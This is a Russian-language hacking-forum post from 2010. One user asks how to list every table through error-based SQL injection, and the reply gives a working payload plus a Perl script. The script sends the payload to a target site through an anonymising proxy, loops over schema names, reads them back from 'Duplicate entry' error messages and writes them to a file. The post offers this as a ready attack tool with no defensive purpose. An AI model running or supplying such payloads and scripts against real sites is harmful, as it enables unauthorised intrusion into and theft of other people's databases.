Показать сообщение отдельно

  #5  
Старый 06.09.2010, 22:11
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Цитата:
Сообщение от BrainDeaD  
есть запрос
Код:
+and+(select+1+from+(select+count(0),concat((select+table_name+from+information_schema.tables+limit+206,1),floor(rand(0)*2))+from+information_schema.tables+group+by+2)a)--+
как видим, в базе более двухсот таблиц. пребирать лимит руками не кошерно.
есть ли возможность вывести весь список таблиц в блайнд-скуле?
Код:
#!/usr/bin/perl -w
# target
use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my $proxy="http://xx.xxx.xxx.xxx:port"; # proxy
$ua->proxy(['http','https'],$proxy);

my $i=0;
while(1)
{
 my $req = HTTP::Request->new(GET => "http://[host][path]/?variable=(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((SELECT+SCHEMA_NAME+FROM+information_schema.SCHEMATA+limit+$i,1),floor(rand(0)*2)))--+");
 my $res = $ua->request($req);

 if ($res->as_string =~ /Duplicate entry(.+)for/)
 {
 open(FILE,'>>results.txt');
 print "print $i: $1\n";
 print FILE "$1\n";
 close(FILE);
 $i++;
 }
  else {last;}
}
ну под себя не сложно подмутить.
 
Ответить с цитированием